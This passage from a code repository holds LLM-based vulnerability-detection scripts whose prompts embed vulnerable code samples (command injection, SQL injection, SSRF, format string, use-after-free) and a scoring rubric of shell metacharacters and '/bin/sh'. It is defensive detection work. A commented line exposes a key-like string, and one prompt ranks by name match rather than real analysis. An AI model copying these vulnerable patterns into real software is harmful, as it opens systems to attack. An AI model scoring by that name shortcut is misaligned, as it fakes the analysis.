base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/final_version/command_memory.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re from langchain.memory import ConversationSummaryMemory SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question: We will first provide several examples starting with ###Examples###, each of which contains a command injection vulnerability, and you need to summarize why they are considered vulnerable. The Chinese explanations and function names in the examples are very important, and do not miss any information when summarizing. Our previous conversation history will be saved in {history}. Finally, if we give you some content starting with the symbol ###New Content###, we are giving you several new functions that may contain similar command injection vulnerabilities. In this case, you should analyze each function independently and output the most vulnerable function. You should first repeat the previous historical information verbatim, and then use confidence (0-100) to measure the vulnerability of each function. Only one function should have the highest confidence. If the new content mentioned a function who have exactly the same name with one example function,that example function should have the highest confidence, and confidence of all other functions should be 0. If all functions in ###New Content### do not have vulnerabilities, their confidence should be 0. The content to be used is in , which is either an example (just a summary) or new content (need to output the confidence and previous history of each function), and will not contain both types {code_context} Output format: a legal json file, such as {{"functions": [{{"name": "checkLoginUser","confidence": 0}},{{"name": "aaa","confidence": 10}}],"summary":"contains strcpy"}} and some additional information, such as previous history. """, input_variables=["code_context"] ) """ User question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Command injection vulnerabilities ,Your analysis must consider: User Input Flow: Analyze how user input flows into command execution functions like system(). Look for cases where input affects the commands being executed. Sanitization: Check if user input is validated for malicious patterns like ;, &&, ||, |, $(), backticks, or other special characters. Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score (confidence score:s 1~10) to each function: 1.Determine the Use of Command Execution Functions like system(), exec(), popen(), Runtime.exec(), ProcessBuilder, etc. If such functions are present, add 10 points to the confidence level. 2.Unvalidated User Input: if user input directly influences command execution without validation, add 20 points to the confidence level. 3.Consider Permission operations: if giving function exists any operation on Permission like $permission, which may influnecethe the command injection function Input, add 20 points to the confidence level. 4.Use of Shell Metacharacters: Direct concatenation allows inclusion of shell metacharacters in inputs, add 20 points to the confidence level. 5.If the function contains strings related to RCE such as "smb" or "/bin/sh", add 30 extra points to the confidence score. {code_context} answer user's question with the information in output format: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace """ examples=""" Example 1: 在 daemonControl()中存在命令注入: public function daemonControl($daemon_name, $command) { global $user; if ($command == 'check' || $command == 'status') { $permission = 'View'; } else { $permission = 'Edit'; } $allowed = (!$user) || ($user['System'] == $permission ); if ( !$allowed ) { throw new UnauthorizedException(__("Insufficient privileges")); return; } $string = ZM_PATH_BIN."/zmdc.pl $command $daemon_name"; $result = exec($string); # 这里缺乏验证 $this->set(array( 'result' => $result, '_serialize' => array('result') )); } Example 2: 这是CVE-2020-16846中的一个命令注入漏洞, 出现的脚本位于salt/salt/client/ssh/shell.py: def gen_key(path): ''' Generate a key for use with salt-ssh ''' cmd = 'ssh-keygen -P "" -f {0} -t rsa -q'.format(path) if not os.path.isdir(os.path.dirname(path)): os.makedirs(os.path.dirname(path)) subprocess.call(cmd, shell=True) 1. `subprocess.call(cmd, shell=True)` 允许攻击者通过 `path` 参数注入恶意命令。 2. 通过构造特殊的 `path` 值来执行任意命令。 Example 3: 在sub_40749C函数中: ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4); if ( !ChildNodeByName ) { if ( v4 ) { ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5); if ( !ChildNodeByName ) { if ( v5 ) { snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4); system(v6); } 这一段函数会将 v4 中的代码拼到 v6 中并执行 system 函数,存在命令注入。 Example 4: sub_442260中的apt_get接受了来自sub_441CF0中apt_set存储的数据, 并将其拼接进命令执行语句中: if ( apmib_get(7026, v37) ) { snprintf(v40, 6, "ping "); v3 = strlen(v37); strncat(v40, v37, v3); .... system(v40); Example 5: ConstDef对象的constDefine成员变量会被传给ConstDefManagerImpl#eval求值, 造成任意代码执行: private Object eval(String scriptText, Map context) throws ScriptException { Object o = this.cache.get(scriptText); CompiledScriptRunner runner = null; if (o != null) { runner = (CompiledScriptRunner)o; } else { runner = new CompiledScriptRunner(this.groovyEngine, scriptText); this.cache.put(scriptText, runner); } long start = System.currentTimeMillis(); Object result = runner.eval(context); long l = System.currentTimeMillis() - start; return result; } Example 6: 在sub_46C59C函数中: sscanf(local_c,"%[^;];%s",local_68,local_a8); if ((local_68[0] == '\0') || (local_a8[0] == '\0')) { printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b); } else { local_18 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4)); FUN_000091dc("cd /tmp;tftp -gr %s %s &",local_68,local_18); vsprintf((char *)apcStack_11c,param_1,&uStack_c); printf("[%s():%d] cmd: %s \r\n","tddp_execCmd",0x48,apcStack_11c); local_1c = fork(); if (-1 < local_1c) { if (local_1c == 0) { local_130[0] = (char **)&DAT_00016f48; local_130[1] = (char **)&DAT_00016f4c; local_130[2] = apcStack_11c; local_130[3] = (char **)0x0; execve("/bin/sh",(char **)local_130,(char **)0x0); /* WARNING: Subroutine does not return */ exit(0x7f); } sscanf函数将传进来的TDDP包数据区按照分离符;分为两个字符串,其中利用“正则表达式”过滤;之后字符串拼接到了cd /tmp;tftp -gr的后面, 最后在函数FUN_000091dc有个命令执行处。 Example 7:在FUN_0041af68函数中: int iVar1; char *pcVar2; undefined4 uVar3; int local_48; char acStack_3c [52]; iVar1 = FUN_00410e4c(); if (iVar1 == 0) { uVar3 = uci_safe_get("usbapps.config.smb_admin_name"); _system("deluser %s",uVar3); for (local_48 = 0; local_48 < 0x19; local_48 = local_48 + 1) { sprintf(acStack_3c,"usbapps.@smb[%d].username",local_48); iVar1 = uci_safe_get(acStack_3c); if (iVar1 == 0) break; _system("smbpasswd -x %s",iVar1); uci_safe_get为用户可控输入, 传入到_system函数处造成命令执行。 """ response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels"), ResponseSchema(name="summary", description="the summary of your judging reason") ] memory=None length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global memory global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate if memory==None: memory = ConversationSummaryMemory(llm=llm) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template, memory=memory) try: output = chain.run(code_context=prompt_code) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"] or json_out["functions"]==[]: break output = chain.run(code_context=prompt_code) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_command(prompt_code, key_env, base_env): global length_limit global memory memory = None length_limit = 14000 sample=examples json_out=llm_api_step2("###Examples###"+sample, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2("###Examples###"+sample, key_env, base_env) json_out=llm_api_step2("###New Content###"+prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2("###New Content###"+prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/final_version/int_overflow.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question: Please analyze all functions in the code snippet I provided to determine whether they have potential integer overflow vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0). {code_context} Answer the user's question using the information in . Output format: {format_instructions} Analysis criteria: 1. Input-controlled integers (10 points): Add 10 points if integers influenced directly or indirectly by user input or external data are used in operations or logic without proper validation (e.g., checking range, format, or type). 2. Lack of bounds checking (10 points): Add 10 points if integers influenced by user input or external data are used in contexts like array indexing, loop boundaries, or conditions without verifying their validity, potentially causing out-of-bounds access or incorrect execution. 3. Unsafe arithmetic (20 points): Add 20 points for arithmetic operations (e.g., addition, subtraction, multiplication) or type conversions involving user-controlled integers that may lead to overflow, truncation, or unexpected results. 4. Memory or buffer allocation issues (40 points): Add 40 points if integers influenced by user input or external data are used for memory allocation, buffer manipulation, or size calculations without sufficient validation, creating risks like memory corruption or denial of service. [!!!Attention!!!]: 1. The total confidence for each function is the cumulative score of all criteria. 2. Analyze every function in the provided code snippet without omission. 3. Pay special attention to indirect impacts where user input affects integers through intermediate variables or function calls. 4. Ensure the output is valid JSON and clearly identifies potential vulnerabilities. 5. Ensure only one function has the highest confidence score, and avoid giving identical scores to all functions(In particular, do not output all 0s or all highest scores). Key Notes for AI: 1. Focus on detecting user-controlled or externally influenced integers that contribute to potential overflow scenarios. 2. Be concise but thorough in your reasoning for each score, particularly for functions scored 0. 3. Highlight specific vulnerabilities related to integer misuse rather than generic code issues. """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_int_overflow(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/final_version/others_memory.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) from langchain.memory import ConversationSummaryMemory import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, you know both English and Chinese, and you are an expert in static code analysis and can fully understand dataflow and definitions of common used functions in decompiled pseudocode, C, C++, java, python, go, js, and other similar languages.", ) HumanPromptStep2 = PromptTemplate( template=""" User question:We will first provide you several examples starting with ###Examples### . Every example in it contains a vulnerability. You need to summary the reason why they are considered vulnerable. The Chinese explainations and function names in the examples are very important and do not lose information in it while summarizing. The history of our previous conversation will be saved in {history}. At last, If we give you some content starting with a symbol ###New Content###, we are giving you several new functions that may contain similar vulnerabilities. In that case, you should analyse each function independently and output a most vulnerable function. You should first repeat the previous history information word by word, and then use confidence(0-100) to measure how vulnerable each function is, only one function should have the highest confidence. If the new content mentioned a function who have exactly the same name with one example function,that example function should have the highest confidence, and confidence of all other functions should be 0. If all functions in ###New Content### are not vulnerable, their confidence should all be 0. The content given to use are in , the content is either a example(only need to summary) or a new content(need to output confidence of each function and previous history), it won't contain both types {code_context} output format: a legal json file such as {{"functions": [{{"name": "checkLoginUser","confidence": 0}},{{"name": "aaa","confidence": 10}}],"summary":"contains strcpy"}} and some additional information such as previous history. """, input_variables=["code_context"] ) """ to determine if any function contain the pattern I am interested. Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a score named "confidence"(0-100)(only one function has the top score) to each function.: 1.We are interested in function that direcly contains the patter I am intersted. For example if funcA calls funcB, funcB calls strcpy, and strcpy is in the list I am interested in, you should return funcB(high confidence). The confidence of both funcA and strcpy should be 0. 2.Add 50 scores if a function directly contains function calls listed in {high_risk_functions}. 3.Add 50 scores if a function directly contains some interested calls whose name is partly in {high_risk_functions}. For example, ios::strcpy is also a target because strcpy is in the list, stdin_scanf is also a target because scanf is in the list. 4.If a function directly contains function calls listed in {low_risk_functions}, and the length parameter of the call(eg:the third parameter of strncpy) is not a const number, add 20 points to it. 5.If the length parameter of step 2 comes from strlen(source buffer), add 20 points to it. For Example: c=strlen(b);strncpy(a,b,c) 6.If a function directly contains a function call which is not in the above two lists but have similar pattern and have a symbol,(eg:json_load) do not regard it as an item in the above two list, regard it as a new type and add 10 points to it. 7.If a function directly contains a type change from signed value into unsigned value and than passed the value into function calls listed in {low_risk_functions}, add 5 points to it. 8.Please make sure that the output json is a legal json file and output your analysis process of each step. 2.Add 90 points if there are some stdin input such as gets or webgetvar(always assume stdin input to be very large) and this input parsed into a buffer without length check. 3.Add 90 points if there is vulnerable buffer operation without any length check before it, such as the use of strcpy or sscanf without checking the target buffer size. 4.Add 60 points if there is a high likelihood of a buffer overflow, there are some length checks, but the check may be bypassed and the source buffer can still be bigger than the target buffer. 5.Add 40 points if there it can not match step 2-4, but there may still be hidden risks. 6.Minus 30 points if the lengths used in an operation does not exceed the buffer size definition. Check source buffer definition and operation length check carefully. For example, in the code char a[20]; strncpy(a, b, 20);, verify whether the length check (20) could cause an overflow based on the buffer size (also 20, won't overflow) 7.Minus 20 points if the risk come from a function without symbol information.(eg: sub_a(str1,str2) might be a dangerous buffer operation function, but there are no symbol that ensure its vulnerability) 8.Recheck the length limitations of the buffer overflow dangerous operation, consider dataflow cross functions, assume the length of the target buffer and the max length of the source buffer, minus 40 points(no less than 0) if the check suggest that source buffer won't be longer than target buffer. 9.Add 50 point if there is a bypass of length limitation. """ examples=""" 示例一:在函数sub_63D58中存在sql注入漏洞,通过`sprintf`拼接到token查询语句,执行`sqlite3_exec`实现sql注入 __int64 __fastcall sub_63D58( __int64 a1, const char *a2, int a3, _BYTE *a4, unsigned int a5, unsigned int a6, __int64 a7, __int64 a8, __int64 a9) { …… v35 = sqlite3_mprintf("SELECT * FROM QTOKEN %s %s %s;", v36, v38, v37); v34 = sqlite3_open(a2, &v33); if ( v34 ) { sqlite3_free(v35); sqlite3_free(v38); sqlite3_free(v37); v22 = (const char *)sqlite3_errmsg(v33); sub_62648("open %s failed! (%d, %s)\n", a2, v34, v22); return 4294967276LL; } else { sqlite3_busy_timeout(v33, 60000LL); v34 = sqlite3_exec(v33, v35, a1, a9, 0LL); //执行`sqlite3_exec`实现sql注入 …… } 示例二:在函数中SchemaHandleFunc中SSRF漏洞, func (m *Mux) SchemaHandleFunc(c echo.Context) (err error) { if m.Disable { c.Response().WriteHeader(http.StatusForbidden) _, _ = c.Response().Write([]byte("schema is disabled")) return } r := c.Request() // protocol:= r.Header.Get("X-InstanceProtocol") // sslActive:=r.Header.Get("X-InstanceSSL") var ( response *http.Response req *http.Request instanceIP = r.Header.Get("X-InstanceIP") requestUrl = strings.Replace(r.RequestURI, "testSchema/", "", 1) url = "http://" + instanceIP + requestUrl ) switch r.Method { case "GET": req, err = http.NewRequest(http.MethodGet, url, nil) case "POST": req, err = http.NewRequest(http.MethodPost, url, r.Body) case "PUT": req, err = http.NewRequest(http.MethodPut, url, r.Body) case "DELETE": req, err = http.NewRequest(http.MethodDelete, url, r.Body) default: c.String(http.StatusNotFound, "Method not found") return } if err != nil { c.String(http.StatusInternalServerError, fmt.Sprintf("( Error while creating request due to : %s", err)) return } for key, values := range r.Header { for _, val := range values { if key == "Accept-Encoding" || key == "Connection" || key == "X-Schemaname" || key == "Cookie" || key == "User-Agent" || key == "AppleWebKit" || key == "Dnt" || key == "Referer" || key == "Accept-Language" { continue } else { req.Header.Add(key, val) } } } req.Header.Add("Content-Type", "application/json") client := http.Client{Timeout: time.Second * 20} response, err = client.Do(req) if err != nil { c.String(http.StatusNotFound, fmt.Sprintf("( Error while sending request due to : %s", err)) return } respBody, err := ioutil.ReadAll(response.Body) if err != nil { c.String(http.StatusNotFound, fmt.Sprintf("(could not fetch response body for error %s", err)) return } c.String(http.StatusOK, string(respBody)) return nil } 其中,req 网络请求的被输入到client.Do执行导致SSRF漏洞 示例三:函数qxl_cursor中存在double-fetch漏洞,函数中涉及多次对cursor的操作,先用cursor_alloc进行分配,再在后续对cursor->header.width, cursor->header.height进行处理,但是实际上cursor->header.width等变量可以被用户持有,并在分配到使用的时间间隙中被修改 ``` static QEMUCursor *qxl_cursor(PCIQXLDevice *qxl, QXLCursor *cursor, uint32_t group_id) { QEMUCursor *c; uint8_t *and_mask, *xor_mask; size_t size; c = cursor_alloc(cursor->header.width, cursor->header.height); if (!c) { qxl_set_guest_bug(qxl, "%s: cursor %ux%u alloc error", __func__, cursor->header.width, cursor->header.height); goto fail; } c->hot_x = cursor->header.hot_spot_x; c->hot_y = cursor->header.hot_spot_y; switch (cursor->header.type) { case SPICE_CURSOR_TYPE_MONO: /* Assume that the full cursor is available in a single chunk. */ size = 2 * cursor_get_mono_bpl(c) * c->height; if (size != cursor->data_size) { fprintf(stderr, "%s: bad monochrome cursor %ux%u with size %u\n", __func__, c->width, c->height, cursor->data_size); goto fail; } and_mask = cursor->chunk.data; xor_mask = and_mask + cursor_get_mono_bpl(c) * c->height; cursor_set_mono(c, 0xffffff, 0x000000, xor_mask, 1, and_mask); if (qxl->debug > 2) { cursor_print_ascii_art(c, "qxl/mono"); } break; case SPICE_CURSOR_TYPE_ALPHA: size = sizeof(uint32_t) * cursor->header.width * cursor->header.height; # cursor 是 guest 物理内存,直接读取可能受到竞争 qxl_unpack_chunks(c->data, size, qxl, &cursor->chunk, group_id); if (qxl->debug > 2) { cursor_print_ascii_art(c, "qxl/alpha"); } break; default: fprintf(stderr, "%s: not implemented: type %d\n", __func__, cursor->header.type); goto fail; } return c; fail: cursor_put(c); return NULL; } ``` 对 guest 可控制的值 `cursor->header.width` 以及 `cursor->header.height` 的 double fetch 行为可能导致 heap-based buffer overflow. 示例四:函数varify中存在CSRF漏洞,该漏洞在处理用户提交的配置文件时,存在潜在的跨站请求伪造(CSRF)攻击。这个漏洞允许攻击者通过构造恶意请求来修改用户的配置文件,而不需要知道用户的认证信息。在`class UserPreference`的`varify()`中,具体触发流程包括: 1. 通过 `if("saveProfile".equals(request.getParameter("action")))` 条件判断是否执行保存配置文件的操作。 2. 调用 `userMgr.parseProfile(wikiContext)` 解析来自请求的用户配置文件数据。 3. 使用 `userMgr.validateProfile(wikiContext, profile)` 对解析后的配置文件进行验证。 4. 如果没有错误消息,调用 `userMgr.setUserProfile(wikiSession, profile)` 更新用户配置文件,并使用 `CookieAssertionLoginModule.setUserCookie(response, profile.getFullname())` 设置用户cookie。 示例五:函数sub_ACC670中存在格式化字符串漏洞 ```C int __fastcall sub_ACC670(__int64 a1, __int64 a2) { //... v3 = sub_AE33A0(a2, "authip"); if ( v3 || (v3 = sub_AE33A0(a2, "fmg_fqdn")) != 0 || (v3 = sub_AE33A0(a2, "mgmtip")) != 0 ) snprintf((char *)(a1 + 204), 0x7FuLL, *(const char **)(v3 + 8)); // ... } ``` 在函数`sub_ACC670`中获取传输的fmg_fqdn或mgmtip后作为格式化串,传入snprintf,存在格式化字符串漏洞 示例六:在函数URLLoader::NotifyCompleted中存在UAF漏洞 ```C++ void URLLoader::SetUpUpload(const ResourceRequest& request, int error_code, std::vector opened_files) { if (error_code != net::OK) { DCHECK(opened_files.empty()); // Defer calling NotifyCompleted to make sure the URLLoader finishes // initializing before getting deleted. base::SequencedTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::BindOnce(&URLLoader::NotifyCompleted, base::Unretained(this), error_code)); return; } scoped_refptr task_runner = base::ThreadPool::CreateSequencedTaskRunner( {base::MayBlock(), base::TaskPriority::USER_VISIBLE}); url_request_->set_upload(CreateUploadDataStream( request.request_body.get(), opened_files, task_runner.get())); if (request.enable_upload_progress) { upload_progress_tracker_ = std::make_unique( FROM_HERE, base::BindRepeating(&URLLoader::SendUploadProgress, base::Unretained(this)), url_request_.get()); } BeginTrustTokenOperationIfNecessaryAndThenScheduleStart(request); } ``` 函数`URLLoader::SetUpUpload`中使用`BindOnce`绑定回调`URLLoader::NotifyCompleted`,传入了`base::Unretained(this)`,如果在任务执行前this被销毁,就会在`URLLoader::NotifyCompleted`时访问被释放的内存导致UAF 示例七:函数StorageService::GetLastFailedSaveLocationPath中存在race condition漏洞,具体原理为StorageService::GetLastFailedSaveLocationPath函数中在操作关键全局变量时没有进行锁保护,从而导致条件竞争,block可能在运行期间达到非预期结果,从而导致程序运行错误 __int64 __fastcall StorageService::GetLastFailedSaveLocationPath(StorageService *this, HLOCAL *a2) { __int64 result; // rax __int64 v4; // rdi unsigned __int64 v5; // rdi HLOCAL v6; // rax unsigned int v7; // edi int v8; // [rsp+20h] [rbp-8h] wil::details::in1diag3 *retaddr; // [rsp+28h] [rbp+0h] if ( !a2 ) return 2147942487i64; *a2 = 0i64; result = (__int64)Block; if ( Block ) { v4 = -1i64; do ++v4; while ( Block[v4] ); v5 = v4 + 1; v6 = LocalAlloc(0x40u, 2 * v5); *a2 = v6; if ( v6 ) { v7 = StringCchCopyW((unsigned __int16 *)v6, v5, Block); free(Block); Block = 0i64; if ( v7 ) { LocalFree(*a2); *a2 = 0i64; } return v7; } else { wil::details::in1diag3::Return_Hr( retaddr, (void *)0x171E, (unsigned int)"onecore\\drivers\\storage\\storsvc\\service\\storageservice.cpp", (const char *)0x8007000Ei64, v8); return 2147942414i64; } } return result; } Appendix: some possible function types 1.Double-Fetch issues involving multiple interactions with kernel functions, such as copy_from_user(), get_user(), copy_to_user() and put_user(), and if the function involve kernel malloc function like cursor_alloc and use malloc resource not at once, which must have a vulnerability. 2.SQL Injection: pay attention to dangerous functions like mysql_query(). If there are any, please focus on these points:(1)Direct SQL query construction;(2)Examine how user input is incorporated into SQL queries. and finally provide me with the function that is most likely to have an SQL injection vulnerability. 3.Race condition: Please focus on the following: (1)Checking resources before use, such as verifying file paths or structure head before using functions like open() to operate on files.(2)Improper use of locking functions that can lead to vulnerabilities. and finally provide me with the function that is most likely to have an race condition vulnerability. 4.Use-after-free:focus on the situation where resources are released before being used. Please pay special attention to functions related to resource release and allocation that are associated with Use-After-Free (UAF), such as free() and malloc(). and finally provide me with the function that is most likely to have an UAF vulnerability. 5.format string: occurs when an application uses user-supplied input as the format string parameter in formatting functions like printf(), fprintf(), sprintf(), etc., without proper validation or sanitization. , provide me with the function that is most likely to have an format string vulnerability. 6.CSRF and SSRF:pay attention to High-Risk Functions and Methods like (HTML rendering functions), (JavaScript generation) or (manipulation and DOM manipulation methods), if have any CSRF vulnerability, provide me with the function that is most likely to have an CSRF vulnerability. """ response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels"), ResponseSchema(name="summary", description="the summary of your judging reason") ] memory=None length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global memory global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=30 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) if memory==None: memory = ConversationSummaryMemory(llm=llm) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template, memory=memory) try: output = chain.run(code_context=prompt_code) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_others(prompt_code, key_env, base_env): global length_limit global memory memory= None length_limit = 14000 sample=examples json_out=llm_api_step2("###Examples###"+sample, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2("###Examples###"+sample, key_env, base_env) json_out=llm_api_step2("###New Content###"+prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2("###New Content###"+prompt_code, key_env, base_env) return json_out ================================================ FILE: task2_source_code/final_version/test.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) from Splitting_function_CC import process_c_files from Splitting_function_py import process_python from Splitting_function_php import process_php_files_in_directory from Splitting_function_java import process_java_files from Splitting_function_go import extract_functions_with_receivers from Splitting_jsp import split_jsp_files from arbitrary import check_arbitrary,check_output_regex from bypass1 import check_bypass from int_overflow1 import check_int_overflow from bof_memory1 import check_bof from others_memory import check_others from command_memory import check_command import os import json import time from bs4 import BeautifulSoup import re import csv import re # 数据集所在的文件目录 data_dir = '/vlun_demo' #data_dir = './data40' # 答案文件保存的目录 answer_dir = '/result' #answer_dir = './result' env_vars = os.environ key_env=env_vars['API_KEY'] base_env=env_vars['API_BASE'] #key_env='' #base_env='https://poc.qianxin.com' # prompt informations HumanPromptStep1 = PromptTemplate( template=""" User question: If you provide a code snippet to be verified, the language of the code snippet is {slice_lang}, and the code snippet may contain a vulnerability of type {slice_vul}, please summarize the following information as much as possible: "vul_functions": the function names of the {slice_vul} vulnerability type in the code snippet. "related_functions": other function names related to the dangerous function in the code snippet. {ocr_result} Use Answer the user's question with the information in Output format: {format_instructions} Let's analyze step by step and give us your analysis process. Pay attention to the following points: 1. The code snippet provided may be related to the {slice_vul} vulnerability or may not be related to the {slice_vul} vulnerability; 2. If the code snippet provided is related to the {slice_vul} vulnerability, the output dangerous function and other related functions may be more than one; 3. If the code snippet provided is not related to the {slice_vul} vulnerability, the output "vul_functions" is NULL, and the "related_functions" is also NULL; 4. Please analyze from the perspective of the function call chain Analyze the code snippet provided, and save other functions in the same function call chain as the dangerous function in the "related_functions"; 5. Please analyze the functions with security checks in the provided code snippets and consider whether they are 